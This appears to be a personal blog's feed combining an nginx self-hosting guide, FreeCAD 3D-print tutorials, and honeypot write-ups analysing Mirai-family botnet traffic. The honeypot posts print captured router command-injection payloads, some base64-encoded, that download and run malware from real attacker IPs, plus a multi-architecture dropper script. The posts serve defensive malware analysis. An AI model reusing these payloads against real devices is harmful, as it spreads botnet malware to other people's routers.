Jekyll2026-01-04T13:33:56+00:00/feed.xmlJackDaviesSelf-hosting with subdomains2026-01-03T09:25:33+00:002026-01-03T09:25:33+00:00/howto/2026/01/03/how-to-selfhost-subsomainsIf like me you have several self hosted services, one challenge you may face is having a easy way to access them, this can be extra challenging if you have a single non fixed IP address.

One solution is to use nginx as a gateway to the services you are hosting and custom subdomains to manage access to them.

0. My setup

I have a raspberry pi (the “gateway”) running nginx, ports 80 and 443 are forwarded to my home internet router allowing me HTTPS access to the pi outside of the LAN network.

I have several Pi’s/PCs running various services (nextcloud, motion camera, home assistant etc) within my local network, these don’t have any port forwards to the internet, only the “gateway” Pi is exposed.

Important Make sure you change the default root password to any raspberry pi’s that are exposed to the internet!

1. Setting up Dynamic DNS

My ISP does not provide fixed IP addresses to residential customers, so in order to keep track of my networks IP address I am using freedns.afraid.org as a Dynamic DNS provider.

The first step is to create a subdomain with one of their domains, setting the destination as my public IP address.

Creating subdomain in freedns

Next I need to keep the dynamic DNS updated with my networks IP.

Freedns provides a unique link for each DNS record, HTTP GET requests to the link will update the records destination IP with the IP that performed the GET request.

The update link for our Dynamic DNS subdomain can be found under the Dynamic DNS section of freedns.afraid.org.

Important Keep this link private as anyone with it will be able to change the IP address of your DNS record!

Getting unique update link for freedns

After getting the update link I created a cron job on the gateway that uses cURL to periodically perform HTTP get requests to the update link.

If my IP address changes, then the cron job will update the DNS record with the new IP. For debugging I setup the script to output the response from the update link to a file, this is not necessary but useful to monitor changes to the IP and make sure it is being updated correctly.

curl https://freedns.afraid.org/dynamic/update.php?TOKEN > /home/jack/cron/log/ip-update/$(date '+%Y-%m-%d_%H-%M-%S')

2. Setting up custom subdomains

I have a domain registered with 123-reg.co.uk which I setup subdomains on to access my self-hosted services.

I created a CNAME record (named selfhost) which points to the dynamic DNS record (mysub.twilightparadox.com) setup in section 1

Adding custom subdomain to 123-reg

CNAME records act like an alias to another DNS record, so in my example selfhost.example.com resolves as mysub.twilightparadox.com which resolves as my networks public IP address. Which esentially means my subdomain selfhost.example.com resolves as my public IP

3. Setting up Nginx

Now we have a subdomain that points to our public IP we need to setup nginx on the gateway to receive incoming HTTP requests and to pass them onto the various self-hosted services

After installing nginx we need to create a configuration file for our service:

server{
	listen 80;
	server_name selfhost.example.com;
	resolver 192.168.0.1;
	location / {
		proxy_pass http://192.168.0.10:8080;
	}
}

This config uses proxy_pass, when nginx receives a request for selfhost.example.com it will pass the request to the ip/port in the location section. This IP can be on the same computer that is running nginx or a separate computer running on the local network.

Save the config to /etc/nginx/sites-available/selfhost.example.com

After saving the config file we need to enable the site, to do this we need to create a symbolic link of the configuration file in /etc/nginx/sites-enabled

sudo ln -s /etc/nginx/sites-available/nextcloud /etc/nginx/sites-enabled/

Then restart nginx

sudo systemctl restart nginx.service 

Note My installation of nginx has sites-enabled included in nginx.conf by default, some distributions may not.

Make sure you have include /etc/nginx/sites-enabled/*; in /etc/nginx/nginx.conf

After restarting nginx you should be able to access the service proxy_pass is pointing to from the custom subdomain setup in section 2

Nextcloud accessible from selfhost.example.com

You might find it doesn’t work immediately due DNS propagation delays, it can take time for changes to the DNS records to be updated across all DNS servers worldwide

To setup more services, you will need to create a custom subdomain that points to the dynamic DNS record setup in section 1, then create a new config file for nginx for the new subdomain.

For example say I have home-assistant running on a Pi with the local address 192.168.0.11, I could create a subdomain named ha that has the value mysub.twilightparadox.com then create the following nginx config

server{
	listen 80;
	server_name ha.example.com;
	resolver 192.168.0.1;
	location / {
		proxy_pass http://192.168.0.11:80;
	}
}

When nginx sees a request for ha.example.com it passes it to the address 192.168.0.11 port 80.

4. Setting up SSL/TLS

After confirming nginx and the subdomains are working we will need to setup SSL certificates to enable HTTPS

To do this we can use Certbot to create SSL certificates and update nginx to use them

Install Certbot and certbot nginx utility:

sudo apt-get install certbot python3-certbot-nginx

After installing certbot, we can run the following command to get a certificate for our selected subdomain and have certbot update the nginx configuration

sudo certbot --nginx -d selfhost.example.com

After running certbot /etc/nginx/sites-available/selfhost.example.com should have been updated:

server{
	server_name selfhost.example.com;
	location / {
		proxy_pass http://192.168.0.10:8080;
	}


    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/selfhost.example.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/selfhost.example.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

}

server{
    if ($host = selfhost.example.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


	listen 80;
	server_name selfhost.example.com;
    return 404; # managed by Certbot
}

Restart nginx

sudo systemctl restart nginx.service

HTTPS should now be enabled on the subdomain, Verified by let’s encrypt.

Certificates are only valid for 90 days, certbot should create a cron job to auto renew the certificates. You can also manually renew them with sudo certbot renew

]]>
Universal card box2024-06-14T09:25:33+00:002024-06-14T09:25:33+00:00/projects/2024/06/14/universal-card-boxTutorial for Universal card box project that you can find on my thingiverse page

Prerequisites


This project was developed in FreeCAD 0.21.2 it should be compatible with version 0.21.0 and later. FreeCAD, an open-source 3D parametric modeler, can be downloaded from freecad.org

How to configure


The FreeCAD project contains 3 parts, a lid, box body with divider slots and a divider to separate cards.

You can modify the box dimensions via the spreadsheet stored in the Data folder within the project

startup

Double clicking on the spreadsheet will open it in a new page: Project Spreadsheet

The spreadsheet contains 15 variables that can be adjusted to modify the model: `

  1. Width : Width of the box
  2. Length : Length of the box
  3. Height : Height of the box
  4. WallThickness : Thickness of the box wall
  5. DividerStartDist Distance of first slot from the front of the box
  6. DividerCount Number of divider slots
  7. DividerDist Linear pattern distance of the divider slots
  8. DividerSlotDepth : Depth of the divider slots
  9. DividerThickness : Thickness of the divider
  10. DividerTol : Divider tolerance, this value is subtracted/added to parts of the divider/divider slots to allow for printer inaccuracies overshoot etc.
  11. DividerTopHeight : Height of the top section of the divider
  12. DividerTabHeight : Height of the tab on top of the divider
  13. DividerTabWidth : Width of the tab on top of the divider
  14. DividerTabLeft : Height of the tab on top of the divider
  15. LidDepth : Depth of the lid over the box

Warning: Don’t set any value to 0mm as this will cause FreeCAD to fail to compute the objects

Values entered into the spreadsheet need to be in the following format: =valuemm e.g. to set height of the box to 100mm change Height to =100mm. Without the = or units FreeCAD will fail to compute the objects

Box Dimensions

Box Drawing

If you want to generate a box without divider slots, set DividerSlotDepth to 0.001mm.

If you want to generate a box without a lid, set LidDepth to 0.001mm (note the lid will still be generated in the project you can ignore it when exporting)

The dimensions of the lid will automatically update to fit over the box with a 2mm tolerance

Divider Dimensions

Divider Drawing

Currently the project only generates one object for the divider.
If you want multiple dividers with different tab positions, you’ll need to generate and export a separate divider for each desired tab position

If you want to generate a divider without a tab set DividerTabHeight to 0.001mm

Exporting for 3D printing

3D model parts can be found in the models folder in the project. To export objects for printing, expand models folder and select the part you want to export

Select Body

Click File Export

File Export menu

Set the file type as STL Mesh (*.stl *.ast) in the export file window, and click save. File Export dialog

License

This work (Universal card box) is licensed under CC BY-SA 4.0

]]>
Fish Botnet2024-01-21T09:25:33+00:002024-01-21T09:25:33+00:00/malware/2024/01/21/fish-botnetThe honey pot has caught a fish, so I guess its more of a fishing net?

It has logged two entries from a “fish botnet”

The first attack appears to be attempting to exploit a vulnerability in LB-LINK routers. It does this by performing a POST to /goform/set_LimitClient_cfg and injects commands into the mac field.

The command causes the device to download and execute the malware.

07:51:59.583 Handling POST to /goform/set_LimitClient_cfg request from 96.127.160.234
>>>Headers: HoneyPotIp:8080 t.me/DeltaApi 150 user=admin gzip 
>>>Body: time1=00:00-00:00&time2=00:00-00:00&mac=; cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://193.111.248.58/mipsel; chmod 777 mipsel; ./mipsel
07:51:59.584 completed response status 200

The second entry performs a similar attack but looks like its attempting to exploit vulnerabilities in LuCI web interface

09:10:53.617 Handling POST to /cgi-bin/luci/;stok=/locale?form=country request from 194.48.250.103
>>>Headers: identity application/x-www-form-urlencoded 152 HoneyPotIp:8080 Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 close 
>>>Body: operation=write&country=$(id>`cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 193.111.248.58/fish.sh; chmod 777 fish.sh; sh fish.sh; history -c`)
09:10:53.619 completed response status 200

This attack is slightly different to the first, but is more common to what we have seen in the past. This attack downloads and runs a sh (named fish.sh) file rather than downloading the malware binary directly. The sh file is used to download and run the malware compiled for different architectures

fish.sh:

cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/mipsel; chmod 777 mipsel; ./mipsel
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/mips; chmod 777 mips; ./mips
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm; chmod 777 arm; ./arm
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm5; chmod 777 arm5; ./arm5
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm6; chmod 777 arm6; ./arm6
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arm7; chmod 777 arm7; ./arm7
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/x86_64; chmod 777 x86_64; ./x86_64
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/i686; chmod 777 i686; ./i686
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/1586; chmod 777 1586; ./1586
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/sh4; chmod 777 sh4; ./sh4
cd /tmp; cd /run; cd /root; cd /; wget http://193.111.248.58/arc; chmod 777 arc; ./arc

This appears to be yet another Mirai variant, possibly based on Moobot or Satori. By using Ghidra we can see it contains the string w5q6he3dbrsgmclkiu4to18npavj702f

Strings

This string also appears to be found in Moobot variants

Most of the web-servers that are used to host malware either don’t contain HTML pages or are just left with the default pages for Apache HTTP or nginx etc

Interestingly this server does contain an index page which displays a picture of a fish

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Fish Botnet</title> <!-- Title of the webpage -->
    <style type="text/css">
        html, body {
            height: 100%;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #121212; /* Dark background */
            color: #ffffff; /* Light text color for contrast */
            font-family: monospace;
        }
        .centered {
            text-align: center;
        }
        img {
            width: 1000px;
            height: 1000px;
        }
    </style>
</head>
<body>
    <div class="centered">
        <text>Available</text>
        <h1><a href="proxy.php?url=https%3A%2F%2Fjackdavies.github.io%2F"><img src="proxy.php?url=https%3A%2F%2Fjackdavies.github.io%2Ffishy.png" alt="fish" width="1000" height="1000"></a></h1>
    </div>
</body>
</html>

Say hello to fishy the fish

Fishy the fish

Fishy should be a reminder to us all to keep firmware updated, change default passwords and restrict access to devices that don’t need to be exposed to the internet.

]]>
Universal card tray2023-12-20T09:25:33+00:002023-12-20T09:25:33+00:00/projects/2023/12/20/universal-card-trayTutorial for Universal card tray project that you can find on my thingiverse page

Prerequisites


This project has been created in FreeCAD 0.21.1, and should be compatible with all version grater than 0.21.0 FreeCAD is an open source 3D parametric modeler, you can download it from freecad.org

How to configure


The FreeCAD project contains a spreadsheet that can be used to modify the tray model, you can find the spreadsheet in the project tree startup

Double clicking on the spreadsheet will open it in a new page: Project Spreadsheet

The spreadsheet contains 7 variables that can be adjusted to modify the model:

  1. CardHeight: height of the card that the tray is going to hold (make 2-3mm larger than the cards height to avoid a tight fit)
  2. CardWidth: width of the card that the tray is going to hold (make 2-3mm larger than the cards width to avoid tight fit)
  3. WallThickness: Thickness of the wall that surrounds the cards
  4. WallHeight: height of the wall that surrounds the cards (note base is 3mm)
  5. Radius: radius size on the outside edges of the tray, if you don’t want rounded edges set this to a small number e.g. 0.00001mm (Don’t set to 0mm this will cause FreeCAD to fail to compute the model)
  6. Fillet: fillet size on the inside edges of the tray, if you don’t want rounded edges set this to a small number e.g. 0.00001mm (Don’t set to 0mm this will cause FreeCAD to fail to compute the model)
  7. TrayCount: Number of trays that will be on the model

Project Drawing

TrayCount can be used to create a model with n number of trays in it (image with TrayCount = 4

Tray Count 4

Exporting for 3D printing

To export the tray model for 3D printing, select Body from the project tree, if the Body is not selected then FreeCAD wont export mesh information. Select Body

Click File Export

File Export menu

Set the file type as STL Mesh (*.stl *.ast) in the export file window File Export dialog

Issues and limitations


Sometimes FreeCAD fails to recompute the model if CardWidth and CardHeight values are increased or decreased by large values e.g. 40mm to 100mm in one change. To avoid this try changing the values in small steps (10mm at a time) this helps FreeCAD to recompute the model correctly.

Compute Fail

FreeCAD will fail to compute the model if Radius or Fillet values are 0mm. If you want to remove the Radius or fillet, set their values to a small number (e.g. 0.0001mm)

]]>
Masked sh command2022-10-02T17:25:33+00:002022-10-02T17:25:33+00:00/malware/2022/10/02/masked-sh-commandThe honey pot picked up an interesting request:

16:29:23.246 Handling POST to / request from ***.**.***.*
>>>Headers: honey-pot-ip:8080 Keep-Alive Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 application/x-www-form-urlencoded 179 
>>>Body: doAs="echo Y2QgL3RtcCB8fCBjZCAvbW50IHx8ICBjZCAvcm9vdCB8fCBjZCAvOyBjdXJsIC1PIGh0dHA6Ly8xNzYuNjUuMTM3LjUvemVyby5zaDsgY2htb2QgNzc3IHplcm8uc2g7IHNoIHplcm8uc2ggJg== | base64 -d | bash"
16:29:23.246 completed response status 200

The requests body is using echo to pipe text encoded in base64 into GNU base64 decoder to decode it, the decoded out put is then piped into bash (causing bash to execute the decoded text)

If we use GNU base64 to decode the text we get the following:

cd /tmp || cd /mnt ||  cd /root || cd /; curl -O http://176.65.137.5/zero.sh; chmod 777 zero.sh; sh zero.sh &

We can see the decoded text is very similar to attacks we have seen before.

The first part cd /tmp || cd /mnt || cd /root || cd / attempts to change the current directory. || is bash or command, if cd /tmp fails then cd /mnt is run if that fails then cd /root is run etc.

The next part of the command curl -O http://176.65.137.5/zero.sh; chmod 777 zero.sh; sh zero.sh attempts to download a sh script and execute it. Unfortunately (though probably for the best) if we use curl to retrieve http://176.65.137.5/zero.sh we get 403 Forbidden.

We can only assume that zero.sh would have done what we have seen before and downloaded and run malware to the device.

Its curious why does this attack encode the command in base64, could it be doing this to attempting to bypass firewall/anti-malware software?

]]>
Reverse Engineering Mirai/Reaper Malware2022-07-20T17:25:33+00:002022-07-20T17:25:33+00:00/malware/2022/07/20/reverse-engineering-reaper-malwareIn my previous post, I showed how I set up a honey pot to capture HTTP requests coming to my IP address. Some of the requests where bots attempting to exploit vulnerabilities in order to gain access to devices and services, one of these requests attempted to inject shell commands to download and run a malware.

I download reap.mpsl using curl so we can have a close look at what the attackers are trying to infect the honey pot with.

Uploading reap.mpsl to virustotal we can see that it has been registered as a Mirai/Reaper Malware by several antivirus application, first submitted to virustotal on 2022-06-28

Analysing with Ghidra


By using Ghidra we can disassemble and analyse the malware executable and see if it will reveal any secrets. Looking at Ghidras initial analysis we can see it is a 32bit MIPS executable

About Reaper

Strings


The first thing we are going to look at are the text strings that are compiled into the executable, plain text strings give us a easy look into what the exe is doing and what resources it may attempt to use.
To do this in click Search -> For Strings... in the top menu bar, Ghidra will then search the exe for strings and dispaly them.\

Reaper Strings\

Straight away we can see a string that was probably used to attack our honey pot, the highlighted string in the list starts with POST /tmUnblock.cgi looking at the my previous post we can see that /tmUnblock.cgi was the endpoint the malware was attempt to exploit. Directly below this string we can see what looks like another POST request, this time to /ctrlt/DeviceUpgrade_1 and further down there is a third that looks like a GET request to /shell with shell commands.
Next I will extract the strings that look like HTTP attacks so we can have a closer look at what they are trying to do.

Attack 1 (hit our honey pot)

Extracting the first suspicious string from Ghidra we can see it contains the following:\

“POST /tmUnblock.cgi HTTP/1.1\r\nHost: 91.218.67.131:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: python-requests/2.20.0\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+mpsl%3B+wget+http%3A%2F%2F91.218.67.131%2Freaper%2Freap.mpsl%3B+chmod+777+reap.mpsl%3B+.%2Freap.mpsl+Reaper.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1”

Tiding it up to make it easier to read:

“POST /tmUnblock.cgi HTTP/1.1 Host: 91.218.67.131:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded ttcp_ip=-h+cd+/tmp;+rm+-rf+mpsl;+wget+http://91.218.67.131/reaper/reap.mpsl;+chmod+777+reap.mpsl;+./reap.mpsl+Reaper.linksys&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1”

We can see that this string contains exactly what was picked up with the honey pot from one of the suspicious request, this is a good indication that it was this Malware exe that made the request. (possibly running on someones infected device)

Attack 2 (POST to /ctrlt/DeviceUpgrade_1)

Extracting the second suspicious string we see it contains the following:

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">$(busybox wget -g 91.218.67.131 -l /tmp/bigH -r /reaper/reap.mips;chmod 777 /tmp/bigH;/tmp/bigH huawei.rep.mips;rm -rf /tmp/bigH)$(echo HUAWEIUPNP)</u:Upgrade></s:Envelope>

This attack appears to contain a Digest access authentication header using the username “dslf-config” this suggests that the Malware is attempting to exploit default username/password that could be on the device.

The body of this attack contains the following XML payload:

<?xml version=\"1.0\" ?>
<s:Envelope
  xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
  <s:Body>
    <u:Upgrade
      xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">
      <NewStatusURL>$(busybox wget -g 91.218.67.131 -l /tmp/bigH -r /reaper/reap.mips;chmod 777 /tmp/bigH;/tmp/bigH huawei.rep.mips;rm -rf /tmp/bigH)</NewStatusURL>
      <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
    </u:Upgrade>
  </s:Body>
</s:Envelope>

The XML data is likely used in a upgrade process which will cause the device to download and run reap.mips

Attack 3 (GET to /shell)

Extracting the third suspicious string we see it contains the following:

GET /shell?cd+/tmp;rm+-rf+;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

This attack is performing a HTTP GET command to /shell with the following parameter cd+/tmp;rm+-rf+*;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 Again, this command will download and run reap.arm4, which is the same malware as seen before but complied to run on arm4 processors.

]]>
Setting up a basic honey pot2022-07-19T16:25:33+00:002022-07-19T16:25:33+00:00/honey-pot/2022/07/19/creating-a-honey-potWhen playing around with a C# web app library, I noticed the web app I was writing would periodically get random (and sometimes strange) requests from unknown sources, so I thought it would be fun to set up a honey pot and record the requests.

Setting up the honey pot


The honey pot is written in mono C# running in a Debian VM, for this first test listening to port 8080. The honey pot is set up to accept all HTTP Requests and will record the requests head and body, initially I have set it up to respond HTTP 200 Ok with the text “Hello requests ip address

The Honey Pot Code


using System;
using System.Text;
using NanoWebApp;

namespace HoneyPot
{
    public class HoneyPotEndPoint : NanoEndPoint
    {
        public override Response HandleGet(Request request)
        {
            Response response = new Response();

            string body = request.GetBody();

            string headers = "";
            for (int i = 0; i <= request.Http.Headers.Count - 1; i++)
            {
                headers += request.Http.Headers.Get(i) + " ";
            }
            Console.WriteLine($">>>Headers: {headers}");

            Console.WriteLine($">>>Body: {body}");

            response.ResponseData = Encoding.ASCII.GetBytes($"Hello {request.Http.RemoteEndPoint.Address}");

            response.ContentType = request.Http.ContentType;

            response.StatusCode = 200;

            return response;
        }

        public override Response HandlePost(Request request)
        {
            Response response = new Response();

            string body = request.GetBody();

            string headers = "";
            for (int i = 0; i <= request.Http.Headers.Count - 1; i++)
            {
                headers += request.Http.Headers.Get(i) + " ";
            }
            Console.WriteLine($">>>Headers: {headers}");

            Console.WriteLine($">>>Body: {body}");

            response.ResponseData = Encoding.ASCII.GetBytes($"Hello {request.Http.RemoteEndPoint.Address}");

            response.ContentType = request.Http.ContentType;

            response.StatusCode = 200;

            return response;
        }
    }

    public class WebApp : NanoWebApp.NanoWebApp
    {
        public override void Startup()
        {
            HoneyPotEndPoint honeyPotEndPoint = new HoneyPotEndPoint();
            AddEndPoint("/*", honeyPotEndPoint);
        }

        public WebApp(WebAppConfig appConfig) : base(appConfig)
        {
        }
    }

    class MainClass
    {
        public static void Main(string[] args)
        {
            Console.WriteLine("Init");

            WebAppConfig appConfig = new WebAppConfig();
            appConfig.Port = 8080;
            appConfig.Domain = "*";

            WebApp webApp = new WebApp(appConfig);

            webApp.Start();

            Console.ReadLine();
        }
    }
}

Now we have set up the honey pot we just wait.

The results


After leaving the honey pot running over night I came back it to find quite a lot of request had been made.

A lot of the requests came unsurprisingly from web crawlers, such as this one from Censys:

20:13:23.402 Handling GET to / request from 167.94.145.60
>>>Headers: HoneyPotIp:8080 Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) */* gzip 
>>>Body: 
20:13:23.403 completed response status 200

And this request which looking at the IP seems to have come from Internet Census Group

22:22:40.321 Handling GET to / request from 23.251.102.74
>>>Headers: 90.216.208.6:8080 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 */* gzip 
>>>Body: 
22:22:40.322 completed response status 200

Then there are the requests that don’t looks so innocent, such as this one:

22:38:26.532 Handling POST to /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php request from 185.7.214.104
>>>Headers: HoneyPotIp:8080 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 19 application/x-www-form-urlencoded gzip close 
>>>Body: <?=md5("phpunit")?>
22:38:26.536 completed response status 200

Searching for eval-stdin.php we can find a few articles relating to a known remote code execution (RCE) vulnerability exists in the in the PHPUnit software


But the most interesting requests are those that are trying to infect our device with malware:

03:01:00.114 Handling POST to /tmUnblock.cgi request from 45.164.20.154
>>>Headers: 91.218.67.131:80 keep-alive gzip, deflate / python-requests/2.20.0 227 application/x-www-form-urlencoded 
>>>Body: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+mpsl%3B+wget+http%3A%2F%2F91.218.67.131%2Freaper%2Freap.mpsl%3B+chmod+777+reap.mpsl%3B+.%2Freap.mpsl+Reaper.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
03:01:00.115 completed response status 200

In the above request, we can see that the request is attempting to exploit a shellshock style exploit, by posting a load of commands to /tmUnblock.cgi. Searching around on the internet it seems tmUnblock.cgi is found in a lot of Cisco/Linksys routers so we can assume these devices are the intended target for this attack.

Looking at the body we can see the request it trying to inject the following code

ttcp_ip=-h+\`cd+/tmp;+rm+-rf+mpsl;+wget+http://91.218.67.131/reaper/reap.mpsl;+chmod+777+reap.mpsl;+./reap.mpsl+Reaper.linksys\`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Inside the HTTP code there are the following shell commands

cd /tmp
rm -rf mspl
wget http://91.218.67.131/reaper/reap.mpsl 
chmod 777 reap.mpsl 
./reap.mpsl Reaper.linksys

breaking down the code we can see its trying to do the following:

  1. cd /tmp chagne the current directroy to /tmp
  2. rm -rf mspl remove (delete) the file mspl
  3. wget http://91.218.67.131/reaper/reap.mpsl use wget to download the attackers malware to ./
  4. chmod 777 reap.mpsl change the file permitions of the downloaded malware file to make it executable
  5. ./reap.mpsl Reaper.linksys run the malware

Using curl I download read.mpsl to disassemble and analyse it with Ghidra, see the next page for my analysis.

]]>